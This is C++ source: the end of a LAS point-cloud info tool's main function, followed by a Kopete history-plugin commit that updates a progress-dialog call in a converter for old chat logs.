    os << "---------------------------------------------------------" << std::endl;

    typedef std::vector<VariableRecord>::size_type size_type;
    for(size_type i = 0; i < header.GetRecordsCount(); i++) {
        liblas::VariableRecord const& v = header.GetVLR(i);
        os << v;
    }

}

int main(int argc, char* argv[])
{

    std::string input;

    bool verbose = false;
    bool check = true;
    bool show_vlrs = true;
    bool show_schema = true;
    bool output_xml = false;
    bool output_json = false;
    bool show_point = false;
    bool use_locale = false;
    boost::uint32_t point = 0;

    std::vector<liblas::FilterPtr> filters;
    std::vector<liblas::TransformPtr> transforms;

    liblas::Header header;

    try {

        po::options_description file_options("lasinfo options");
        po::options_description filtering_options = GetFilteringOptions();
        po::options_description header_options = GetHeaderOptions();

        po::positional_options_description p;
        p.add("input", 1);
        p.add("output", 1);

        file_options.add_options()
            ("help,h", "produce help message")
            ("input,i", po::value< string >(), "input LAS file")

            ("verbose,v", po::value<bool>(&verbose)->zero_tokens(), "Verbose message output")
            ("no-vlrs", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), "Don't show VLRs")
            ("no-schema", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), "Don't show schema")
            ("no-check", po::value<bool>(&check)->zero_tokens()->implicit_value(false), "Don't scan points")
            ("xml", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), "Output as XML")
            ("point,p", po::value<boost::uint32_t>(&point), "Display a point with a given id.  --point 44")

            ("locale", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), "Use the environment's locale for output")

// --xml
// --json
// --restructured text output
        ;

        po::variables_map vm;
        po::options_description options;
        options.add(file_options).add(filtering_options);
        po::store(po::command_line_parser(argc, argv).
          options(options).positional(p).run(), vm);

        po::notify(vm);

        if (vm.count("help"))
        {
            OutputHelp(std::cout, options);
            return 1;
        }

        if (vm.count("point"))
        {
            show_point = true;
        }

        if (vm.count("input"))
        {
            input = vm["input"].as< string >();
            std::ifstream ifs;
            if (verbose)
                std::cout << "Opening " << input << " to fetch Header" << std::endl;
            if (!liblas::Open(ifs, input.c_str()))
            {
                std::cerr << "Cannot open " << input << " for read.  Exiting..." << std::endl;
                return 1;
            }
            liblas::ReaderFactory f;
            liblas::Reader reader = f.CreateWithStream(ifs);
            header = reader.GetHeader();
        } else {
            std::cerr << "Input LAS file not specified!\n";
            OutputHelp(std::cout, options);
            return 1;
        }

        filters = GetFilters(vm, verbose);

        std::ifstream ifs;
        if (!liblas::Open(ifs, input.c_str()))
        {
            std::cerr << "Cannot open " << input << " for read.  Exiting..." << std::endl;
            return false;
        }

        liblas::ReaderFactory f;
        liblas::Reader reader = f.CreateWithStream(ifs);
        if (show_point)
        {
            try
            {
                reader.ReadPointAt(point);
                liblas::Point const& p = reader.GetPoint();
                if (output_xml) {
                    liblas::property_tree::ptree tree;
                    tree = p.GetPTree();
                    liblas::property_tree::write_xml(std::cout, tree);
                    exit(0);
                }
                else
                {
                    if (use_locale)
                    {
                        std::locale l("");
                        std::cout.imbue(l);
                    }
                    std::cout <<  p << std::endl;
                    exit(0);
                }

            } catch (std::out_of_range const& e)
            {
                std::cerr << "Unable to read point at index " << point << ": " << e.what() << std::endl;
                exit(1);

            }

        }

        liblas::Summary summary;
        if (check)
            summary = check_points(  reader,
                            filters,
                            transforms,
                            verbose
                            );

        liblas::Header const& header = reader.GetHeader();

        // Add the header to the summary so we can get more detailed
        // info
        summary.SetHeader(header);

        if (output_xml && output_json) {
            std::cerr << "both JSON and XML output cannot be chosen";
            return 1;
        }
        if (output_xml) {
            liblas::property_tree::ptree tree;
            if (check)
                tree = summary.GetPTree();
            else
            {
                tree.add_child("summary.header", header.GetPTree());
            }

            liblas::property_tree::write_xml(std::cout, tree);
            return 0;
        }

        if (use_locale)
        {
            std::locale l("");
            std::cout.imbue(l);
        }

        std::cout << header << std::endl;
        if (show_vlrs)
            PrintVLRs(std::cout, header);

        if (show_schema)
            std::cout << header.GetSchema();

        if (check) {
            std::cout << summary << std::endl;

        }
    }
    catch(std::exception& e) {
        std::cerr << "error: " << e.what() << "\n";
        return 1;
    }
    catch(...) {
        std::cerr << "Exception of unknown type!\n";
    }

    return 0;

}

//las2las2 -i lt_srs_rt.las  -o foo.las -c 1,2 -b 2483590,366208,2484000,366612
#endif
<|endoftext|>


<commit_before>//Olivier Goffart <ogoffart@kde.org>
// 2003 06 26

#include "historyplugin.h" //just needed because we are a member of this class
                           // we don't use any history function here

/**-----------------------------------------------------------
 * CONVERTER from the old kopete history.
 * it port history from kopete 0.6, 0.5 and above the actual
 * this should be placed in a perl script handled by KConf_update
 * but i need to acess to some info i don't have with perl, like
 * the accountId, to know each protocol id, and more
 *-----------------------------------------------------------*/

#include "kopetepluginmanager.h"
#include "kopeteaccount.h"
#include "kopeteaccountmanager.h"
#include "kopetecontact.h"
#include "kopetemessage.h"
#include "kopeteprotocol.h"
#include "kopeteuiglobal.h"

#include <kconfig.h>
#include <kdebug.h>
#include <klocale.h>
#include <kstandarddirs.h>
#include <kmessagebox.h>
#include <kprogressdialog.h>
#include <ksavefile.h>

#include <QDir>
#include <QtXml> // old qdom.h
#include <QRegExp>
#include <QTextStream>
#include <QApplication>
#define CBUFLENGTH 512 // buffer length for fgets()

void HistoryPlugin::convertOldHistory()
{
	bool deleteFiles=  KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(),
		i18n( "Would you like to remove old history files?" ) , i18n( "History Converter" ), KStandardGuiItem::del(), KGuiItem( i18n("Keep") ) ) == KMessageBox::Yes;

	KProgressDialog *progressDlg=new KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( "History converter" ) ,
		 QString::null , true); //modal  to  make sure the user will not doing stupid things (we have a qApp->processEvents())
	progressDlg->setAllowCancel(false); //because i am too lazy to allow to cancel

	QString kopetedir=KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete"));
	QDir d( kopetedir ); //d should point to ~/.kde/share/apps/kopete/

	d.setFilter( QDir::Dirs  );

	const QFileInfoList list = d.entryInfoList();
	QFileInfo fi;

	foreach(fi, list)
	{
		QString protocolId;
		QString accountId;

		if( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )
		{
			protocolId=p->pluginId();

			QList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p);
			Kopete::Account *a = accountList.first();
			if(a)
				accountId=a->accountId();
		}

		if(accountId.isNull() || protocolId.isNull())
		{
			if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" )
			{
				protocolId="MSNProtocol";
				accountId=KGlobal::config()->group("MSN").readEntry( "UserID" );
			}
			else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" )
			{
				protocolId="ICQProtocol";
				accountId=KGlobal::config()->group("ICQ").readEntry( "UIN" );
			}
			else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" )
			{
				protocolId="AIMProtocol";
				accountId=KGlobal::config()->group("AIM").readEntry( "UserID" );
			}
			else if(fi.fileName() == "OscarProtocol" )
			{
				protocolId="AIMProtocol";
				accountId=KGlobal::config()->group("OSCAR").readEntry( "UserID" );
			}
			else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs")
			{
				protocolId="JabberProtocol";
				accountId=KGlobal::config()->group("Jabber").readEntry( "UserID" );
			}
			//TODO: gadu, wp
		}

		if(!protocolId.isEmpty() || !accountId.isEmpty())
		{
			QDir d2( fi.absoluteFilePath() );
			d2.setFilter( QDir::Files  );
			d2.setNameFilters( QStringList("*.log") );
			const QFileInfoList list = d2.entryInfoList();;
			QFileInfo fi2;

			progressDlg->progressBar()->reset();
			progressDlg->progressBar()->setMaximum(d2.count());
			progressDlg->setLabel(i18n("Parsing old history in %1", fi.fileName()));
			progressDlg->show(); //if it was not already showed...

			foreach(fi2, list)
			{
				//we assume that all "-" are dots.  (like in hotmail.com)
				QString contactId=fi2.fileName().replace(".log" , QString()).replace("-" , ".");

				if(!contactId.isEmpty() )
				{
					progressDlg->setLabel(i18n("Parsing old history in %1:\n%2", fi.fileName(), contactId));
					qApp->processEvents(0); //make sure the text is updated in the progressDlg

					int month=0;
					int year=0;
					QDomDocument doc;
					QDomElement docElem;

					QDomElement msgelement;
					QDomNode node;
					QDomDocument xmllist;
					Kopete::Message::MessageDirection dir;
					QString body, date, nick;
					QString buffer, msgBlock;
					char cbuf[CBUFLENGTH]; // buffer for the log file

					QString logFileName = fi2.absoluteFilePath();

					// open the file
					FILE *f = fopen(QFile::encodeName(logFileName), "r");

					// create a new <message> block
					while ( ! feof( f ) )
					{
						fgets(cbuf, CBUFLENGTH, f);
						buffer = QString::fromUtf8(cbuf);

						while ( strchr(cbuf, '\n') == NULL && !feof(f) )
						{
							fgets( cbuf, CBUFLENGTH, f );
							buffer += QString::fromUtf8(cbuf);
						}

						if( buffer.startsWith( QString::fromLatin1( "<message " ) ) )
						{
							msgBlock = buffer;

							// find the end of the message block
							while( !feof( f ) && buffer != QString::fromLatin1( "</message>\n" ) /*strcmp("</message>\n", cbuf )*/ )
							{
								fgets(cbuf, CBUFLENGTH, f);
								buffer = QString::fromUtf8(cbuf);

								while ( strchr(cbuf, '\n') == NULL && !feof(f) )
								{
									fgets( cbuf, CBUFLENGTH, f );
									buffer += QString::fromUtf8(cbuf);
								}
								msgBlock.append(buffer);
							}

							// now let's work on this new block
							xmllist.setContent(msgBlock, false);
							msgelement = xmllist.documentElement();
							node = msgelement.firstChild();

							if( msgelement.attribute( QString::fromLatin1( "direction" ) ) == QString::fromLatin1( "inbound" ) )
								dir = Kopete::Message::Inbound;
							else
								dir = Kopete::Message::Outbound;

							// Read all the elements.
							QString tagname;
							QDomElement element;

							while ( ! node.isNull() )
							{
								if ( node.isElement() )
								{
									element = node.toElement();
									tagname = element.tagName();

									if( tagname == QString::fromLatin1( "srcnick" ) )
										nick = element.text();

									else if( tagname == QString::fromLatin1( "date" ) )
										date = element.text();
									else if( tagname == QString::fromLatin1( "body" ) )
										body = element.text().trimmed();
								}

								node = node.nextSibling();
							}
							//FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised.
							// so QT can't parse it correctly.
							QDateTime dt=QDateTime::fromString(date);
							if(dt.date().month() != month || dt.date().year() != year)
							{
								if(!docElem.isNull())
								{
									QDate date(year,month,1);
									QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
											QString::fromLatin1( "/" ) +
											contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
											date.toString(".yyyyMM");
									KSaveFile file(  KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name +
									                                             QString::fromLatin1( ".xml" ) )  );
									if( file.open() )
									{
										QTextStream stream ( &file );
										//stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non?
										doc.save( stream , 1 );
										file.finalize();
									}
								}

								month=dt.date().month();
								year=dt.date().year();
								docElem=QDomElement();
							}

							if(docElem.isNull())
							{
								doc=QDomDocument("Kopete-History");
								docElem= doc.createElement( "kopete-history" );
								docElem.setAttribute ( "version" , "0.7" );
								doc.appendChild( docElem );
								QDomElement headElem = doc.createElement( "head" );
								docElem.appendChild( headElem );
								QDomElement dateElem = doc.createElement( "date" );
								dateElem.setAttribute( "year",  QString::number(year) );
								dateElem.setAttribute( "month", QString::number(month) );
								headElem.appendChild(dateElem);
								QDomElement myselfElem = doc.createElement( "contact" );
								myselfElem.setAttribute( "type",  "myself" );
								myselfElem.setAttribute( "contactId", accountId  );
								headElem.appendChild(myselfElem);
								QDomElement contactElem = doc.createElement( "contact" );
								contactElem.setAttribute( "contactId", contactId );
								headElem.appendChild(contactElem);
								QDomElement importElem = doc.createElement( "imported" );
								importElem.setAttribute( "from",  fi.fileName() );
								importElem.setAttribute( "date", QDateTime::currentDateTime().toString()  );
								headElem.appendChild(importElem);
							}
							QDomElement msgElem = doc.createElement( "msg" );
							msgElem.setAttribute( "in",  dir==Kopete::Message::Outbound ? "0" : "1" );
							msgElem.setAttribute( "from", dir==Kopete::Message::Outbound ? accountId : contactId  );
							msgElem.setAttribute( "nick",  nick ); //do we have to set this?
							msgElem.setAttribute( "time",  QString::number(dt.date().day()) + ' ' +  QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute())  );
							QDomText msgNode = doc.createTextNode( body.trimmed() );
							docElem.appendChild( msgElem );
							msgElem.appendChild( msgNode );
						}
					}

					fclose( f );
					if(deleteFiles)
						d2.remove(fi2.fileName());

					if(!docElem.isNull())
					{
						QDate date(year,month,1);
						QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
								QString::fromLatin1( "/" ) +
								contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
								date.toString(".yyyyMM");
						KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name +
						                                            QString::fromLatin1( ".xml" ) )  );
						if( file.open() )
						{
							QTextStream stream ( &file );
							//stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non?
							doc.save( stream ,1 );
							file.finalize();
						}
					}

				}
				progressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1);
			}
		}
	}
	delete progressDlg;

}

bool HistoryPlugin::detectOldHistory()
{
	QString version=KGlobal::config()->group("History Plugin").readEntry( "Version" ,"0.6" );

	if(version != "0.6")
		return false;

	QDir d( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs")) );
	d.setFilter( QDir::Dirs  );
	if(d.count() >= 3)  // '.' and '..' are included
		return false;  //the new history already exists

	QDir d2( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")) );
	d2.setFilter( QDir::Dirs  );
	const QFileInfoList list = d2.entryInfoList();
	QFileInfo fi;

	foreach(fi, list)
	{
		if( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )
			return true;

		if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" )
			return true;
		else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" )
			return true;
		else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" )
			return true;
		else if(fi.fileName() == "OscarProtocol" )
			return true;
		else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs")
			return true;
	}
	return false;
}
<commit_msg>adopt to new API<commit_after>//Olivier Goffart <ogoffart@kde.org>
// 2003 06 26

#include "historyplugin.h" //just needed because we are a member of this class
                           // we don't use any history function here

/**-----------------------------------------------------------
 * CONVERTER from the old kopete history.
 * it port history from kopete 0.6, 0.5 and above the actual
 * this should be placed in a perl script handled by KConf_update
 * but i need to acess to some info i don't have with perl, like
 * the accountId, to know each protocol id, and more
 *-----------------------------------------------------------*/

#include "kopetepluginmanager.h"
#include "kopeteaccount.h"
#include "kopeteaccountmanager.h"
#include "kopetecontact.h"
#include "kopetemessage.h"
#include "kopeteprotocol.h"
#include "kopeteuiglobal.h"

#include <kconfig.h>
#include <kdebug.h>
#include <klocale.h>
#include <kstandarddirs.h>
#include <kmessagebox.h>
#include <kprogressdialog.h>
#include <ksavefile.h>

#include <QDir>
#include <QtXml> // old qdom.h
#include <QRegExp>
#include <QTextStream>
#include <QApplication>
#define CBUFLENGTH 512 // buffer length for fgets()

void HistoryPlugin::convertOldHistory()
{
	bool deleteFiles=  KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(),
		i18n( "Would you like to remove old history files?" ) , i18n( "History Converter" ), KStandardGuiItem::del(), KGuiItem( i18n("Keep") ) ) == KMessageBox::Yes;

	KProgressDialog *progressDlg=new KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( "History converter" ));
	progressDlg->setModal(true); //modal  to  make sure the user will not doing stupid things (we have a qApp->processEvents())
	progressDlg->setAllowCancel(false); //because i am too lazy to allow to cancel

	QString kopetedir=KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete"));
	QDir d( kopetedir ); //d should point to ~/.kde/share/apps/kopete/

	d.setFilter( QDir::Dirs  );

	const QFileInfoList list = d.entryInfoList();
	QFileInfo fi;

	foreach(fi, list)
	{
		QString protocolId;
		QString accountId;

		if( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )
		{
			protocolId=p->pluginId();

			QList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p);
			Kopete::Account *a = accountList.first();
			if(a)
				accountId=a->accountId();
		}

		if(accountId.isNull() || protocolId.isNull())
		{
			if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" )
			{
				protocolId="MSNProtocol";
				accountId=KGlobal::config()->group("MSN").readEntry( "UserID" );
			}
			else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" )
			{
				protocolId="ICQProtocol";
				accountId=KGlobal::config()->group("ICQ").readEntry( "UIN" );
			}
			else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" )
			{
				protocolId="AIMProtocol";
				accountId=KGlobal::config()->group("AIM").readEntry( "UserID" );
			}
			else if(fi.fileName() == "OscarProtocol" )
			{
				protocolId="AIMProtocol";
				accountId=KGlobal::config()->group("OSCAR").readEntry( "UserID" );
			}
			else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs")
			{
				protocolId="JabberProtocol";
				accountId=KGlobal::config()->group("Jabber").readEntry( "UserID" );
			}
			//TODO: gadu, wp
		}

		if(!protocolId.isEmpty() || !accountId.isEmpty())
		{
			QDir d2( fi.absoluteFilePath() );
			d2.setFilter( QDir::Files  );
			d2.setNameFilters( QStringList("*.log") );
			const QFileInfoList list = d2.entryInfoList();;
			QFileInfo fi2;

			progressDlg->progressBar()->reset();
			progressDlg->progressBar()->setMaximum(d2.count());
			progressDlg->setLabel(i18n("Parsing old history in %1", fi.fileName()));
			progressDlg->show(); //if it was not already showed...

			foreach(fi2, list)
			{
				//we assume that all "-" are dots.  (like in hotmail.com)
				QString contactId=fi2.fileName().replace(".log" , QString()).replace("-" , ".");

				if(!contactId.isEmpty() )
				{
					progressDlg->setLabel(i18n("Parsing old history in %1:\n%2", fi.fileName(), contactId));
					qApp->processEvents(0); //make sure the text is updated in the progressDlg

					int month=0;
					int year=0;
					QDomDocument doc;
					QDomElement docElem;

					QDomElement msgelement;
					QDomNode node;
					QDomDocument xmllist;
					Kopete::Message::MessageDirection dir;
					QString body, date, nick;
					QString buffer, msgBlock;
					char cbuf[CBUFLENGTH]; // buffer for the log file

					QString logFileName = fi2.absoluteFilePath();

					// open the file
					FILE *f = fopen(QFile::encodeName(logFileName), "r");

					// create a new <message> block
					while ( ! feof( f ) )
					{
						fgets(cbuf, CBUFLENGTH, f);
						buffer = QString::fromUtf8(cbuf);

						while ( strchr(cbuf, '\n') == NULL && !feof(f) )
						{
							fgets( cbuf, CBUFLENGTH, f );
							buffer += QString::fromUtf8(cbuf);
						}

						if( buffer.startsWith( QString::fromLatin1( "<message " ) ) )
						{
							msgBlock = buffer;

							// find the end of the message block
							while( !feof( f ) && buffer != QString::fromLatin1( "</message>\n" ) /*strcmp("</message>\n", cbuf )*/ )
							{
								fgets(cbuf, CBUFLENGTH, f);
								buffer = QString::fromUtf8(cbuf);

								while ( strchr(cbuf, '\n') == NULL && !feof(f) )
								{
									fgets( cbuf, CBUFLENGTH, f );
									buffer += QString::fromUtf8(cbuf);
								}
								msgBlock.append(buffer);
							}

							// now let's work on this new block
							xmllist.setContent(msgBlock, false);
							msgelement = xmllist.documentElement();
							node = msgelement.firstChild();

							if( msgelement.attribute( QString::fromLatin1( "direction" ) ) == QString::fromLatin1( "inbound" ) )
								dir = Kopete::Message::Inbound;
							else
								dir = Kopete::Message::Outbound;

							// Read all the elements.
							QString tagname;
							QDomElement element;

							while ( ! node.isNull() )
							{
								if ( node.isElement() )
								{
									element = node.toElement();
									tagname = element.tagName();

									if( tagname == QString::fromLatin1( "srcnick" ) )
										nick = element.text();

									else if( tagname == QString::fromLatin1( "date" ) )
										date = element.text();
									else if( tagname == QString::fromLatin1( "body" ) )
										body = element.text().trimmed();
								}

								node = node.nextSibling();
							}
							//FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised.
							// so QT can't parse it correctly.
							QDateTime dt=QDateTime::fromString(date);
							if(dt.date().month() != month || dt.date().year() != year)
							{
								if(!docElem.isNull())
								{
									QDate date(year,month,1);
									QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
											QString::fromLatin1( "/" ) +
											contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
											date.toString(".yyyyMM");
									KSaveFile file(  KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name +
									                                             QString::fromLatin1( ".xml" ) )  );
									if( file.open() )
									{
										QTextStream stream ( &file );
										//stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non?
										doc.save( stream , 1 );
										file.finalize();
									}
								}

								month=dt.date().month();
								year=dt.date().year();
								docElem=QDomElement();
							}

							if(docElem.isNull())
							{
								doc=QDomDocument("Kopete-History");
								docElem= doc.createElement( "kopete-history" );
								docElem.setAttribute ( "version" , "0.7" );
								doc.appendChild( docElem );
								QDomElement headElem = doc.createElement( "head" );
								docElem.appendChild( headElem );
								QDomElement dateElem = doc.createElement( "date" );
								dateElem.setAttribute( "year",  QString::number(year) );
								dateElem.setAttribute( "month", QString::number(month) );
								headElem.appendChild(dateElem);
								QDomElement myselfElem = doc.createElement( "contact" );
								myselfElem.setAttribute( "type",  "myself" );
								myselfElem.setAttribute( "contactId", accountId  );
								headElem.appendChild(myselfElem);
								QDomElement contactElem = doc.createElement( "contact" );
								contactElem.setAttribute( "contactId", contactId );
								headElem.appendChild(contactElem);
								QDomElement importElem = doc.createElement( "imported" );
								importElem.setAttribute( "from",  fi.fileName() );
								importElem.setAttribute( "date", QDateTime::currentDateTime().toString()  );
								headElem.appendChild(importElem);
							}
							QDomElement msgElem = doc.createElement( "msg" );
							msgElem.setAttribute( "in",  dir==Kopete::Message::Outbound ? "0" : "1" );
							msgElem.setAttribute( "from", dir==Kopete::Message::Outbound ? accountId : contactId  );
							msgElem.setAttribute( "nick",  nick ); //do we have to set this?
							msgElem.setAttribute( "time",  QString::number(dt.date().day()) + ' ' +  QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute())  );
							QDomText msgNode = doc.createTextNode( body.trimmed() );
							docElem.appendChild( msgElem );
							msgElem.appendChild( msgNode );
						}
					}

					fclose( f );
					if(deleteFiles)
						d2.remove(fi2.fileName());

					if(!docElem.isNull())
					{
						QDate date(year,month,1);
						QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
								QString::fromLatin1( "/" ) +
								contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) +
								date.toString(".yyyyMM");
						KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name +
						                                            QString::fromLatin1( ".xml" ) )  );
						if( file.open() )
						{
							QTextStream stream ( &file );
							//stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non?
							doc.save( stream ,1 );
							file.finalize();
						}
					}

				}
				progressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1);
			}
		}
	}
	delete progressDlg;

}

bool HistoryPlugin::detectOldHistory()
{
	QString version=KGlobal::config()->group("History Plugin").readEntry( "Version" ,"0.6" );

	if(version != "0.6")
		return false;

	QDir d( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs")) );
	d.setFilter( QDir::Dirs  );
	if(d.count() >= 3)  // '.' and '..' are included
		return false;  //the new history already exists

	QDir d2( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")) );
	d2.setFilter( QDir::Dirs  );
	const QFileInfoList list = d2.entryInfoList();
	QFileInfo fi;

	foreach(fi, list)
	{
		if( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )
			return true;

		if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" )
			return true;
		else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" )
			return true;
		else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" )
			return true;
		else if(fi.fileName() == "OscarProtocol" )
			return true;
		else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs")
			return true;
	}
	return false;
}
<|endoftext|>